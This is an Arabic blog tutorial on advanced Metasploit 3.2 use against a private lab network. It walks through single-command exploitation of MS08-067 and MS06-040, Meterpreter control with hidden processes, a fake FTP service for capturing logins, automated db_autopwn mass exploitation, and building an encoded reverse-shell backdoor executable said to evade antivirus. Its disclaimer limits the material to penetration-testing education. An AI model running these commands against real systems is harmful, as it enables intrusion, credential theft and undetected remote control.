الاستخدامات المتقدمة لمشروع ميتاسبلويت

الاستخدامات المتقدمة لمشروع ميتاسبلويت

Metasploit 3.2

بصراحة وبدون مقدمات لا أعلم لماذا أنا معجب جدا بمشروع Metasploit فكلما تعمقت بهذا المشروع وتفاصيله ستعجب به أكثر وأكثر! وان لم أكن مخطئ هذا رابع موضوع أكتبه عن مشروع ميتاسبلويت في المدونة على الرغم من وجود مشاريع وبرامج أخرى قوية تحتاج لأن يتم التعريف بها على الأقل لكن حتى الآن لم أتطرق أو أذكر أي شيء عنها!! أكثر ما يعجبني بمشروع Metasploit أنه ليس مجموعة من الثغرات الجاهزة للاستغلال فقط كما يعتقد البعض بل المشروع أكبر من ذلك بكثير ويشكل بيئة متكاملة لأي  Penetration Tester بالاضافة لامكانية استخدام المشروع للقيام بالعديد من الأمور التي تفيد مدراء الأنظمة والشبكات, المبرمجين والهاكرز بالدرجة الأولى.

هل تعلم أننا نستطيع استخدام مشروع ميتاسبلويت في فحص الشبكات والأجهزة الموجودة فيها ويمكننا اختراقها بشكل أوتوماتيكي باستخدام أداة خطيرة موجودة ضمن المشروع تدعى db_autopwn؟ والمشروع قادر على اعطائنا نتائج دقيقة جدا في عملية الـ Penetration Testing لأننا في مشروع ميتاسبلويت نتأكد ان كان الضعف الأمني Vulnerability قابل للاستغلال Exploitable أم لا بعكس برامج فحص الثغرات الأخرى التي غالبا تعطينا نتائج غير دقيقة وأحياناً خاطئة لأنها تعتمد على المعلومات التي حصلت عليها فقط دون القدرة على التأكد من صحتها! هل تعلم أن المشروع يحتوي على استغلالات متقدمة جدا تصل للقدرة على التحكم بسطح مكتب الجهاز الذي قمنا باختراقه والقدرة على التحكم الكامل بالجهاز مع عدم ظهور أي شيء يدعو مدير الشبكة للشك بأن الجهاز مخترق لأن الاستغلال لن يقوم بتشغيل أي برنامج قد تظهر بقائمة المهام أو يترك آثار في الجهاز بل سيقوم بحقن مكتبات dll في الذاكرة مباشرة مستغلا الثغرة الموجودة في البرنامج! هل تعلم أننا نستطيع استخدام المشروع في أمور مفيدة كأن نجعل استغلال الثغرة يقوم بتنصيب ترقيع أمني بشكل تلقائي عوضاً عن اختراق الجهاز؟!! وهل تعلم أننا نستطيع استعمال المكتبات التي بني عليها ويستخدمها المشروع بعمله في برمجة أدوات فعّالة وكتابة استغلال لثغرات Remote Buffer Overflow بكل سرعة وسهولة؟!

منذ انتقال المشروع للاصدار الثالث واعادة برمجته من جديد بلغة روبي عوضا عن بيرل تم جعله ليكون قابل للتطوير بشكل كبير وليكون بيئة شاملة يستخدمها أي Hacker أو Penetration Tester في عمله ومن اطلع على هيكلة المشروع وطريقة برمجته لفهم تماما ماذا أقصد فالمشروع يعتمد بعمله على تخزين كل شيء في قواعد بيانات ويحتوي على نظام تسجيل Log مدمج يمكننا استخدامه على 3 مستويات كذلك يمكننا برمجة اضافات Plugins للمشروع حتى نجعله يعمل بالطريقة التي تناسبنا أضف الى ذلك امكانية برمجة Modules خاصة واضافتها للمشروع ان كان هذا الـ Module ثغرة, Shellcode, Encoder  أو حتى أداة مساعدة Auxiliary نستخدمها في عملنا.

قبل البدأ بالشرح أنصحكم بالاطلاع على الموضوع السابق (استخدام مشروع Metasploit و شرح استغلال ثغراته بالتفصيل) ومن الضروري معرفة أن هذا الشرح للغرض التعليمي فقط! أنا لا أشجع ولا بأي شكل من الأشكال على استخدام المعلومات الموجودة في هذا الموضوع للقيام بأمور تخريبية أو اختراق أجهزة الآخرين بشكل غير شرعي أو خارج نطاق شبكتك الخاصة كما أني أخلي مسؤوليتي الكاملة من أي ضرر قد يصيب الشبكة أو الأجهزة الموجودة فيها وأنت وحدك تتحمل نتيجة استخداماتك!

تم تنفيذ الشرح على نظام GNU/Linux توزيعة Fedora باستخدام الاصدار 3.2 من مشروع Metasploit والاصدار 1.8.6-p111 من مفسّر لغة Ruby (بعض الاصدارات الأحدث من مفسّر لغة روبي مثل 1.8.7 تتعارض مع مشروع ميتاسبلويت مما يؤدي لعدم عمله بالشكل الصحيح, بهذه الحالة علينا عمل Downgrade وحذف الاصدار المنصّب في التوزيعة و تحميل الاصدار 1.8.6 ثم تنصيبه على الجهاز بعد بناءة من المصدر.)

مشروع Metasploit يتطلّب اعداد بيئة مناسبة لتشغله واستخدام اضافاته لذلك تأكد من وجود الحزم التالية منصّبة في التوزيعة التي تستخدمها:

ruby ruby-irb ruby-libs ruby-rdoc ruby-devel readline rubygems rubygem-rails ruby-gtk2 ruby-libglade2 subversion sqlite3 rubygem-sqlite3-ruby

وبعد تحميل المشروع وتنصيبه من الأفضل تحديثه لآخر اصدار باستخدام الأمر:

svn update framework-3.2

استبدل framework-3.2 باسم/مسار مجلد المشروع أو قم بالدخول للمجلد من سطر الأوامر ونفذ الأمر:

svn update

حاليا أنا أعمل على الاصدار: At revision 6585. قد يكون الرقم لديك مختلف (المفروض اما نفسه أو أكثر)

التعامل مع المشروع باستخدام الواجهات المرفقة

يأتي مشروع Metasploit بعدة واجهات تمكننا من استخدام المشروع بالطريقة التي تناسبنا فاذا اطلعنا على مجلد المشروع سنشاهد التالي:

metasploit-1

msfconsole: سطر أوامر مشروع ميتاسبلويت ويمكننا اعتباره الواجهة الرئيسية للمشروع, يوفر لنا سطر أوامر المشروع تحكم كامل في ميتاسبلويت, الثغرات وجميع الأدوات الموجودة بالمشروع ونستطيع من خلاله الوصول لجميع البرامج الموجودة في الجهاز كما أنه يحتوي على نفس خصائص سطر أوامر نظام لينوكس مثل دعم الاكمال التلقائي بالضغط على زر Tab ويمكننا عند استخدامه تحديد المتغيرات التي نريدها مسبقا لنتمكن من استغلال الثغرات بشكل سريع والعديد من الأمور الأخرى (شخصيا أجد أن سطر الأوامر هو الطريقة الأنسب للتعامل مع المشروع وستلاحظون ذلك أثناء استخدامه في الشرح).

metasploit-2

msfcli: واجهة أخرى تعمل من سطر الأوامر لكنها تختلف عن msfconsole بأنها ليست تفاعلية (Interactive) أي أننا لن نحتاج للدخول الى سطر أوامر المشروع وتنفيذ عدة أوامر لاستغلال الثغرة بل نستطيع القيام بذلك بتنفيذ أمر واحد فقط بعد تحديد الخيارات التي نريدها بشكل صحيح وهذا يفيدنا في استخدام المشروع من خلال Bash Script أو أي برنامج آخر, نفذ الأمر:

./msfcli

لاستعراض الخيارات التي يوفرها msfcli ولاستعراض جميع الثغرات/الأدوات المساعدة الموجودة في مشروع ميتاسبلويت كما هو ظاهر في الصورة التالية:

metasploit-3

حسنا كون msfcli ليست واجهة غير تفعالية هذا يعني أننا نستطيع التعامل مع المشروع واستغلال الثغرات باستخدام أمر واحد فقط! كذلك يمكننا استخدامها مع برامج أخرى, لنفرض أننا نريد استغلال الثغرة MS08-67 في البداية نتأكد من وجودها في المشروع باستخدام الأمر:

./msfcli | grep "ms08_067"

ليظهر لنا اسم الثغرة التي نريد استغلالها “exploit/windows/smb/ms08_067_netapi” ننفذ الأمر:

./msfcli exploit/windows/smb/ms08_067_netapi S

ليتم عرض معلومات عن الثغرة كما هو واضح في الصورة التالية:

metasploit-4

لاظهار خيارات الثغرة, نستخدم الأمر:

./msfcli exploit/windows/smb/ms08_067_netapi O

metasploit-5

أما لاظهار الخيارات المتقدمة نستخدم الأمر:

./msfcli exploit/windows/smb/ms08_067_netapi A

بالنسبة لي سأبقي الخيارات الافتراضية كما هي مع تحديد قيمة RHOST فقط وأنفذ الأمر:

./msfcli exploit/windows/smb/ms08_067_netapi RHOST=192.168.2.128 P

لاستعراض الـ Payloads التي توفرها هذه الثغرة:

metasploit-6

لنفرض أننا اخترنا أبسط استغلال “windows/shell/bind_tcp” ونريد اختراق الجهاز 192.168.2.128 اذا كل ما علينا هو تنفيذ الأمر:

./msfcli exploit/windows/smb/ms08_067_netapi RHOST=192.168.2.128 PAYLOAD=windows/shell/bind_tcp O

لاظهار خيارات الاستغلال كما هو واضح في الصورة التالية:

metasploit-7

بالنسبة لي سأغير المنفذ الافتراضي الذي سيتم فتحه بالجهاز الى 2222 لذلك نحدد قيمة LPORT ولا ننسى تحديد RHOST مرة أخرى أيضا ليصبح الاستغلال النهائي بهذا الشكل:

./msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/shell/bind_tcp RHOST=192.168.2.128 LPORT=2222 E

لاحظ أننا أضفنا الى نهاية الأمر E ليتم تشغيل الاستغلال:

metasploit-8

كما تلاحظون تمكّنا من اختراق الجهاز والحصول على remote Shell بصلاحيات SYSTEM بتنفيذ أمر واحد فقط!!! << مين فيكم يستخدم ويندوز؟😀 ومن مازال يعيش في عصر عنترة بن شداد ويفكر بالاختراق باستخدام باتش أو استغلال ثغرة في IE!!؟

msfgui: الواجهة الرسومية من مشروع ميتاسبلويت, تمت برمجتها باستخدام مكتبة GTK ولغة Ruby لذلك احتجنا لوجود الحزم ruby-gtk2 , ruby-libglade2 منصبة في التوزيعة التي نستخدمها, نستطيع عن طريق هذه الواجهة عمل كل شيء والتحكم الكامل في المشروع فهي تحتوي على سطر أوامر المشروع مدمج بداخلها كما أنها تقوم بتصنيف الثغرات والـ Modules الموجودة في المشروع بطريقة جميلة وبسيطة وكل ماعلينا هو النقر مرتين على الثغرة التي نريد لتظهر لنا نافذة تطلب منا الخيارات لتنفيذ الثغرة, كما تحتوي الواجهة على نافذتين الأولى تظهر لنا الثغرات التي تعمل Jobs والأخرى تظهر لنا الاستغلالات الناجحة التي حصلنا عليها Sessions, يتم تشغيلها بتنفيذ الأمر:

./msfgui

msfweb: هذه الواجهة تعمل عن طريق المتصفح بالاعتماد على مشروع Ruby On Rails وتعتبر هذه الواجهة الأساسية في نظام ويندوز, يمكننا تشغيل msfweb باستخدام الأمر:

./msfweb

بعد ذلك كل ماعلينا هو فتح المتصفح على الرابط:

http://127.0.0.1:55555

لتظهر لنا الواجهة كما هو واضح في الصور التالية:

metasploit-9

يجب علينا الحذر عند استخدام هذه الواجهة داخل الشبكة لأنها لا تحتوي على نظام تسجيل دخول أو أي نظام حماية مما يمكن الأشخاص الموجودين في الشبكة من استخدام المشروع وهذا قد يعرض جهازك للاختراق! اذا أردت استخدام هذه الواجهة يجب اعداد الجدار الناري بطريقة صحيحة لتمنع الآخرين من الاتصال بجهازك عن طريق المنفذ 55555.

msfd: تقوم بتشغيل مشروع Metasploit كخدمة في الجهاز وتمكننا من استخدامه عن بعد باستخدام الأداة Netcat أو Telnet مثلا, الجميل في msfd أنها تمكن أكثر من شخص من استخدام نفس المشروع كما أنها تسمح لهم بمشاركة العمليات والـ Sessions فيما بينهم. نفّذ الأمر:

./msfd -h

لاستعراض الخيارات:

metasploit-10

نستخدم a لتحديد أيبي الجهاز الذي ستعمل عليه الخدمة ونستخدم p لتحديد المنفذ الذي نريد عوضا عن المنفذ الافتراضي 55554, مثلا:

./msfd -a 192.168.2.1 -p 55442

الآن أي شخص يستطيع استخدام مشروع ميتاسبلويت عن بعد باستخدام أداة Netcat أو Telent وذلك بتنفيذ الأمر:

nc 192.168.2.1 55442

لاحظ أن هذه الخدمة أيضا لاتحتوي على نظام حماية أو تسجيل دخول وهذا يمكن أي شخص موجود داخل الشبكة من الاتصال بالجهاز الذي يعمل عليه msfd والتحكم بالجهاز بشكل كامل!

الاستغلالات المتقدمة في مشروع Metasploit

بشكل عام عندما نريد استغلال أي ثغرة Buffer Overflow موجودة في برنامج أو نظام تشغيل يجب أن نختار Payload أو مايعرف بالـ Shellcode وهو الكود الذي سيتم حقنه بالذاكرة وتشغيله بعد السيطرة على مسجّل EIP والتحكم في سير البرنامج (ان شاء الله سأبدأ بالكتابة عن ثغرات Buffer Overflow قريبا… ) الـ Shellcode هو مجموعة من الأوامر مبرمجة بلغة Assembly يستطيع المعالج فهمها وتنفيذها بشكل مباشر. يتميز ميتاسبلويت بأنه يحتوي على الكثير من الاستغلالات الجاهزة ويمكننا ببساطة صناعة الاستغلال الذي نريد بعد وضع الخيارات التي تناسبنا وتصديره لعدة صيغ مختلفة بكل سهولة! فباستخدام مشروع Metasploit ليس من الضروري أن تكون خبير بلغة Assembly لتتمكن صناعة شيل كود الخاص بك.

أهم الاستغلالات الموجودة وأقواها في مشروع ميتاسبلويت هو Meterpreter (خاص بنظام ويندوز فقط) يقوم هذا الاستغلال بحقن ملفات dll بنفس البرنامج/النظام الذي قمنا باستغلال الثغرة الموجودة فيه. هذا يعني أن مدير السيرفر لن يرى أي برنامج Process يعمل في قائمة المهام (لكن يمكن طبعا باستخدام أدوات متخصصة معرفة المكاتب الديناميكية المحملة للنظام لكني أتحدى أن أجد مدير أي سيرفر يستخدم أدوات مراقبة لهذه الدرجة!) أضف الى ذلك أننا سنحصل على تحكم أكثر من كامل في الجهاز وسنصبح قادرين على تشغيل عدة برامج تفاعلية بنفس الوقت دون أن نخسر الـ remote Shell بالاضافة لسهولة رفع وتنزيل الملفات وادارة الـ Processes التي تعمل بالجهاز والكثير من الأمور الأخرى ونستطيع القول أن هذا الاستغلال مشروع لوحده! حيث نستطيع برمجة سكريبتات واضافات خاصة له ومع كل تحديث يتم اضافة ميزات وقدرات جديدة له.

لنفرض أننا نريد استغلال الثغرة “windows/smb/ms06_040_netapi” وهي ثغرة أخرى بنفس خطورة الثغرة السابقة لكنها أقدم قليلا (اكتشفت في عامل 2006 بنظام Windows XP SP0/SP1) مع اختيار Meterpreter كـ Payload.. في البداية نشغّل سطر أوامر المشروع بتنفيذ الأمر:

./msfconsole

ثم ننفّذ الأوامر التالية:

msf > use windows/smb/ms06_040_netapi msf exploit(ms06_040_netapi) > set RHOST 192.168.2.128 msf exploit(ms06_040_netapi) > set PAYLOAD windows/meterpreter/bind_tcp msf exploit(ms06_040_netapi) > set LPORT 22445

قمنا في الأوامر السابقة بادخلال اعدادات الثغرة (راجع هذا الموضوع لمزيد من التفاصيل) الآن يبقى علينا تنفيذ الأمر exploit لتنفيذ الثغرة وعمل سطر أوامر Meterpreter كما هو واضح بالصورة التالية:

metasploit-11

كأي برنامج أو أداة أخرى يجب أن نبحث عن طريقة الاستخدام, بدون تفكير ننفّذ الأمر help لمعرفة أوامر Meterpreter وكيفية التعامل معه:

meterpreter > help

metasploit-12

لاحظ الخيارات الكثيرة التي يوفرها لنا Meterpreter وكيف أنه سهّل علينا كثير من الأمور حاول أن تقرأ وظيفة كل أمر وتقوم بتجربته, مثلا لرفع ملف للجهاز لم نعد بحاجة لتشغيل سيرفر TFTP في جهازنا واستخدام TFTP Client الموجود في نظام ويندوز بل نستطيع القيام بذلك بكل سهولة عن طريق الأمر:

meterpreter > upload FILENAME

استبدل FINLENAME باسم الملف الذي تريد رفعه مع مراعاة وجوده داخل مجلد المشروع ولتحميل ملف نستخدم نفس الأمر السابق مع استبدال upload بـ download:

meterpreter > download FILENAME

metasploit-13

من أكثر الأمور التي أعجبتني في Meterpreter هي قدرتنا على تشغيل عدة برامج تفاعلية بنفس الوقت مثل ftp أداة Netcat بعد رفعها للاتصال مع جهاز ثاني والكثير من البرامج التفاعلية الأخرى التي لا نستطيع تشغيلها باستخدام الـ remote shell العادي. في البداية ننفذ الأمر execute للاطلاع على الخيارات المتوفرة:

meterpreter > execute

مثلا ننفذ الأمر:

meterpreter > execute -H -i -f cmd.exe

ليتم تشغيل سطر أوامر نظام ويندوز والحصول على remote Shell كامل كما هو واضح في الصورة:

metasploit-14

استخدمنا H لاخفاء البرنامج من قائمة مهام نظام ويندوز و i للتفاعل المباشر مع البرنامج وتستخدم f لتحديد البرنامج الذي نريد تشغيله.. نستطيع بأي وقت الخروج والعودة لسطر أوامر Meterpreter بتنفيذ الأمر exit أو الضغط على (Ctrl + C) حسناً ماذا لو لم نرد التفاعل مع البرنامج مباشرة وأردنا تشغيله في الخلفية مع بقائنا داخل سطر أوامر Meterpreter بهذه الحالة نستخدم c عوضا عن i:

meterpreter > execute -H -c -f cmd.exe

metasploit-15

وعندما نريد التفاعل مع البرنامج ننفذ الأمر interact متبوعاً برقم الـ Channel بهذا الشكل:

meterpreter > interact 10

في حال قمنا بتشغيل أكثر من برنامج بالطريقة السابقة ننفذ الأمر:

meterpreter > channel -l

لاستعراض البرامج التي قمنا بتشغيلها, كذلك نستطيع الاطلاع على البرامج التي تعمل على الجهاز باستخدام الأمر:

meterpreter > ps

ولايقاف تشغيل برنامج ننفذ الأمر:

meterpreter > kill PID

مع استبدال PID بعنوان البرنامج الذي نريد:

metasploit-16

يوجد الكثير من الأوامر الأخرى بعضها مثل نظام لينوكس مثل ls , pwd , cat , mkdir , rmdir وأخرى متعلقة بالشبكات مثل ipconfig و route بالاضافة لأمر أعجبني هو portfwd أتوقع أن وظيفته واضحة.. لن أشرحه بل سأترككم لتجربوه بأنفسكم.

يوجد العديد من الاستغلالات الأخرى في مشروع ميتاسبلويت احداها vncinject الذي يقوم بحقن مكتبات dll خاصة ببرنامج RealVNC في الذاكرة مما يسمح لنا بالتحكم الكامل بسطح مكتب الجهاز الذي نجحنا باستغلال الثغرة الموجودة فيه:

metasploit-17

وغيره الكثير مثل اضافة مستخدم جديد للنظام, رفع وتشغيل ملف, اتصال عكسي, فتح منفذ بالجهاز… كل ماعليك هو اختيار الاستغلال الأنسب فمثلا اذا كان الجهاز الذي نحاول اختراقه يستخدم جدار ناري فليس من الحكمة أن نختار استغلال يقوم بفتح منفذ بالجهاز bind_tcp لأننا ببساطة لن نتمكن من الاتصال به وبهذه الحالة يجب جعل الاستغلال اتصال عكسي reverse_tcp بعد التأكد من فتح المنفذ الذي قمنا باختياره في الجدار الناري الموجود في جهازنا وهكذا..

الأدوات المساعدة Auxiliary

شخصيا أجد أن الأدوات المساعدة المرفقة مع مشروع ميتاسبلويت من أجمل الأمور فيه فهي عبارة عن أدوات بسيطة تستخدم مكتبات مشروع ميتاسبلويت لتساعدنا في عملية الـ Penetration Testing واستغلال الثغرات, مثل Scanners, Fuzzers, Client Side/DoS Exploits , Fake Services… ونستطيع مشاهدة القائمة الكاملة بعد تشغيل الواجهة msfconsole وذلك بتنفيذ الأمر:

msf > show auxiliary

metasploit-18

استخدام هذه الأدوات نفس طريقة استغلال الثغرات تماما ويأتي مع كل أداة شرح لوظيفتها وطريقة استخدامها, مثلا لنفرض أننا نريد انشاء خدمة FTP وهمية تقوم بالتقاط اسم المستخدم وكلمة المرور عند القيام بتسجيل الدخول, كل ماعلينا هو تنفيذ الأمر:

msf > use server/capture/ftp

ثم نحدد IP الجهاز الذي يعمل عليه المشروع, بتنفيذ الأمر:

msf auxiliary(ftp) > SET SRVHOST 192.168.2.1

وفي النهاية تنفيذ الأمر exploit لتشغيل الخدمة الوهمية, الآن في حال قام أي شخص بالاتصال بالجهاز عن طريق المنفذ 21 سنتمكن من التقاط اسم المستخدم وكلمة المرور التي قام بتسجيل الدخول بها.

ملاحظة: كوننا سنستخدم المنفذ 21 لتشغيل خدمة FTP الوهمية هذا سيتطلب منا تشغيل المشروع بصلاحيات root الا في حال قمنا باختيار منفذ ثان.

يوجد الكثير من الأدوات المساعدة الأخرى أنصح بتجربتها فاستخدامها ممتع وتفيدنا في الكثير من الأمور أثناء عملنا.

أداة db_autopwn لتجربة الثغرات واختراق الأجهزة بشكل تلقائي

تعتبر الأداة db_autopwn من أخطر الأمور التي أضيفت لمشروع ميتاسبلويت في الاصدار الثالث, وظيفة الأداة جعل عملية تنفيذ الثغرات يتم بشكل تلقائي فالأداة قادرة على القيام بفحص الشبكة والأجهزة الموجودة فيها باستخدام Nmap أو برنامج Nessus مثلا وتخزين المعلومات في قواعد بينات وبالاعتماد على المعلومات التي حصلت عليها (نوع النظام, المنافذ المفتوحة, الخدمات التي تعمل, الثغرات المكتشفة… ) تقوم الأداة بتجربة جميع الثغرات المحتملة واحدة تلو الأخرى على جميع الأجهزة الموجودة في النطاق الذي قمنا بتحديده! (يمكننا القول أن ماسنقوم به هو Penetration Testing حقيقي ولم يعد Vulnerability Assasmint كما في برنامج Nessus لأننا سنقوم بفحص المنافذ, تحديد الخدمات, اكتشاف الثغرات, التأكد من وجودها باستخدام Metasploit واضافة db_autopwn) كثيرون يعتقدون أن عملية اختبار الاختراق تتم بواسطة أدوات فحص الثغرات مثل GFI و Nessus وهذا خطأ لأن الـ Vulnerability Assasmint جزء من الـ Penetration Testing لكن بنفس الوقت ميتاسبلويت ليس كل شيء يووجد الكثير الكثير من الأمور والأدوات الأخرى تستخدم في عملية الـ Pentesting ويجب دائما اخبار النتائج والتأكد من صحتها بشكل يدوي.)

لاستعمال الاداة نقوم في البداية تشغيل سطر أوامر المشروع:

./msfconsole

كما قلنا الأداة ستستخدم قواعد البينات لذلك ننفذ الأمر:

msf > load db_sqlite3

لتحميل اضافة قواعد بيانات sqlite3 (يوجد عدة اضافات تمكننا من التعامل مع قواعد بيانات أخرى مثل sqlite2 , mysql , postgres تستطيع اختيار أي واحدة مهم بعد التأكد من تنصيب قواعد البينات في جهازك, بالنسبة لي أفضل sqlite لخفتها مع العلم أن باقي الخطوات نفسها تماما لا تختلف بشيء)

الأن نقوم بانشاء قاعدة بيانات جديدة بتنفيذ الأمر:

msf > db_create autopwn

metasploit-19

تستطيع استبدال autopwn بأي اسم تختاره مثلا mynetwork, metasploit, pentest… اختر أي اسم تريد بعد ذلك يوجد لدينا عدة خيارات اما استخدام nmap في فحص المنافذ المفتوحة في جهاز محدد أو نطاق شبكة ومعرفة النظام والخدمات التي تعمل بالاعتماد على المنافذ المفتوحة أو فحص الثغرات الموجودة بالشبكة باستخدام Nessus وبالاعتماد على المعلومات التي حصلنا عليها ستقوم الأداة بتجربة الثغرات المحتملة حسب الخيارات التي قمنا بتحديدها كذلك نستطيع اضافة ملف xml خاص بنتائج أداة Nmap أو nbe خاص بنتائج Nessus.. اختر مايناسبك بهذا الشرح سنستخدم Nmap لذلك ننفذ الأمر:

msf > db_nmap 192.168.2.*

لفحص الأجهزة الموجودة في النطاق 192.168.2.0/24 (ليس بالضرورة فحص نطاق كامل نستطيع أيضا تحديد IP جهاز واحد فقط) وعند الانتهاء ستقوم الأداة db_nmap بتخزين النتائج التي حصلت عليها في قاعدة البيانات, لمعرفة الأجهزة التي تم العثور عليها ننفذ الأمر:

msf > db_hosts

ولمعرفة الخدمات التي تم اكتشافها نستخدم الأمر:

msf > db_services

metasploit-20

عند استخدام Nessus نستخدم الأمر:

msf > db_vulns

لمعرفة الثغرات المكتشفة, الآن نشغل الأداة db_autopwn لمعرفة خياراتها وطريقة استخدامها بتنفيذ الأمر:

msf > db_autopwn

أخيرا نشغّل الأداة باستخدام الأمر:

msf > db_autopwn -p -e -b

metasploit-21

استخدمنا p لاختيار الثغرات بالاعتماد على المنافذ المفتوحة بالجهاز (في حال استخدام برنامج Nessus يمكننا اختيار x عوضا عن p ليتم اختبار الثغرات بالاعتماد على نتائج فحص Nessus) أما e فهو لتشغيل الثغرات و b ليكون الاستغلال عبارة عن فتح منفذ (استخدم r ليكون الاستغلال عبارة عن اتصال عكسي) طبعا يوجد خيارات أخرى للأداة كأن نجعل الأداة تقوم بتجربة الثغرات على نطاق محدد أو استثناء أجهزة موجودة ضمن نطاق وبعض الخيارات الأخرى أترككم لتكتشفوها بأنفسكم.

عند انتهاء أداة db_autopwn من عملها نفّذ الأمر:

msf > sessions -l

لترى الأجهزة التي تمكنا من اختراقها والاتصالات الناجحة ونستخدم الأمر:

session -i ID

ليتم استخدام الاتصال والحصول على remote shell من الجهاز المصاب بالثغرة.

ملاحظة: اختبار الثغرات بهذا الشكل أمر خطير وقد يسبب لنا العديد من المشاكل فاستغلال الثغرات لاينجح دائما ويعطينا remote Shell الخطأ باستغلال الثغرة قد يؤدي أحيانا لـ Denial of Service وايقاف الجهاز/الخدمة عن العمل! وطبعا ليس من الذكاء استخدام الأداة على نطاق كبير يحتوي على العديد من الأجهزة لأن عملية ستأخذ وقت كبير وقد تتوقف الأداة عن عملها ولذلك يفضّل استخدام الأداة على مراحل ومن تجربتي الشخصية مازلت أرى أن الأداة غير ثابتة بالشكل المطلوب وتحتاج لمزيد من التطوير لتحقيق ثبات أكثر ففي كثير من الأحيان تتوقف الأداة عن عملها وتستهلك حجم كبير من الذاكرة. أخيرا لا تتحامق وتفكر بتجربة استخدامها على نطاق IP مزود الخدمة أو أي جهة أخرى بشكل غير شرعي لأنه يمكن كشفك ببساطة وقوانين أبسط IDS سيكتشف هذا العدد الكبير من الثغرات التي تقوم بتجربتها مع العلم أن الاختراق بهذا الشكل لا يعد “عبقرية” وليس “شطارة” بل هو الغباء بعينه!

صناعة Shellcode / Backdoor وتشفيره

من أهم ميزات مشروع ميتاسبلويت قدرته على صناعة شيل كود بالخيارات التي نريدها بمنتهى السرعة والسهولة, كما قلت سابقا سنحتاج للشيل كود في كتابة استغلال الثغرة فعندما يتم اكتشاف ثغرة في برنامج ما يجب أن يتم برمجة برنامج بسيط يقوم باستغلالها وهذا الأمر يرجع للمكتشف فالبعض يختار Perl , Python , C حسب الثغرة وطبيعتها لكن الأمر المؤكد أننا سنحتاج لشيل كود مبرمج بلغة Assembly بخصائص معينة, يتم حقنه داخل الذاكرة وتنفيذه من قبل المعالج مباشرة مع العلم أن برمجة هذا الكود ليس بالأمر السهل لذلك الأغلبية يلجأ لاستخدام Shellcode جاهز بخيارات محددة مسبقا أما في مشروع ميتاسبلويت فالأمر أسهل من ذلك وأفضل بكثير.. يكفي أنك قادر على صناعة Shellcode بالخيارات التي تريدها خلال بضعة ثوان!

نستطيع صناعة الـ Shellcode الذي نريده باستخدام الأداة msfpayload الموجودة داخل مجلد المشروع ونستخدم msfencode لتشفيره, في البداية نقوم باستعراض الـ Shellcodes الموجودة داخل المشروع وخيارات msfpayload باستخدام الأمر:

./msfpayload

لنفرض أننا نريد استخدم windows/shell/reverse_tcp لانشاء اتصال عكسي, في البداية ننفذ الأمر التالي لمعرفة خيارات الشيل كود:

./msfpayload windows/shell/reverse_tcp S

لاحظ أن طريقة استخدام الأداة msfpayload نفس msfcli تماما, لصناعة شيل كود يستخدم في برمجة اسغلال مكتوب بلغة C نقوم في البداية بتحديد الخيارات التي نريدها باستخدام الأمر:

./msfpayload windows/shell/reverse_tcp LHOST=192.168.2.1 LPORT=22445 C

نستطيع استبدال C بـ y للغة روبي وبـ P للغة Perl وهكذا… راجع خيارات msfpayload لمعرفة باقي اللغات لكن المميز بالأمر هو قدرة المشروع على صناعة ملف تنفيذي بالامتداد exe (باك دور بسيط) نعيد تنفيذ الأمر السابق مع استبدال C بـ X لكن بهذه الحالة يجب ارسال المخرجات لملف وليس طباعتها على الشاشة! لذلك ننفذ الأمر بهذا الشكل:

./msfpayload windows/shell/reverse_tcp LHOST=192.168.2.1 LPORT=22445 X > reverse_tcp.exe

الأن يجب أن نقوم بتشغيل Exploit Handler ليتولى أمر الاتصال العكسي وينجح الاستغلال, شغّل سطر أوامر المشروع وننفذ الأوامر التالية:

./msfconsole msf > use multi/handler msf exploit(handler) > set LHOST 192.168.2.1 msf exploit(handler) > exploit

لاحظ أننا أدخلنا نفس خيارات الباك دوور reverse_tcp.exe. عند قيام المستخدم بتشغيل الملف التنفيذي سنحصل على revers remote shell كما هو واضح بالصورة التالية:

metasploit-22

الأداة msfencode تقوم بتشفير الشيل كود باحدى المشفّرات التي يوفرها المشروع, في البداية نقوم بصناعة الشيل كود الذي نريده (بصيغة Raw) ونرسل المخرجات لملف باسم shellcode.raw مثلا باستخدام الأمر:

./msfpayload windows/shell/reverse_tcp LHOST=192.168.2.1 LPORT=22445 R > shellcode.raw

الآن نستعرض خيارات الأداة msfencode بتنفذ الأمر:

./msfencode -h

metasploit-23

لتشفير الشيل كود الموجود داخل الملف shellcode.raw ننفذ الأمر:

./msfencode -i shellcode.raw -e x86/shikata_ga_nai -b'\x00\xff' -t c -o shellcode.c

في الأمر السابق قمنا بتشفير الشيل كود باستخدام المشفّر x86/shikata_ga_nai مع تجنب استخدام الحروف \x00\xff لأن هذه الحروف تؤدي لتوقف الشيل كود عن العمل عند تشغيله داخل الذاكرة ثم أرسلنا الشيل كود المشفّر للمف shellcode.c لاستخدامه باستغلال مبرمج بلغة C. نستطيع استخدام encoder آخر كل ماعلينا هو تنفيذ الأمر:

./msfencode -l

لاستعراض المشفّرات الموجودة داخل المشروع, نستطيع استخدام الأداتين msfpayload و msfencode بنفس الوقت وتصدير الشيل كود لملف أو طباعته على الشاشة مثلا بشكله النهائي باستخدام الأمر:

./msfpayload windows/shell/reverse_tcp LHOST=192.168.2.1 LPORT=22445 R | ./msfencode -e x86/shikata_ga_nai -b'\x00\xff' -t c

metasploit-24

حسناً حاول أن تقوم بصنع باك بدور لنظام ويندوز باستخدام msfpayload ومن ثم تشفيره باحدى المشفّرات الموجودة في msfencode وحاول فحصة باستخدام مضاد الفايروسات, الاصدارات الحديثة من المشروع تكون غير مكشوفة من معظم مضادات الفايروسات كما تستطيع صنع باكدور Meterpreter واستخدامه بنفس الطريق التي استخدمنا فيها باكدور الاتصال العكسي reverse_tcp.exe

أعلم أني أطلت الموضوع كثيرا وفصّلته بشكل كبير فلقد أردت تغطية أكبر قدر ممكن من امكانيات مشروع ميتاسبلويت وطريقة التعامل معه.. هذا كل شيء حتى الِأن ومن الممكن أن أقوم بكتابة جزء ثالث عن مشروع ميتاسبلويت لاحقا أو أضع شرح فيديو أو أدمج المواضيع السابقة وأنسقها من جديد مع بعض الاضافات ليتم تحويلها لكتيّب صغير عن مشروع ميتاسبلويت وكما قلت سابقا Metasploit يتطور بسرعة كبيرة ومع كل اصدار جديد يتم اضافة المزيد من الأدوات والخصائص الجديدة للمشروع ولذلك أنصح بمتابعة موقع المشروع و المدونة الرسمية أيضا وحاول أن تبقي نفسك على اطلاع بـ مجريات تطوير المشروع.

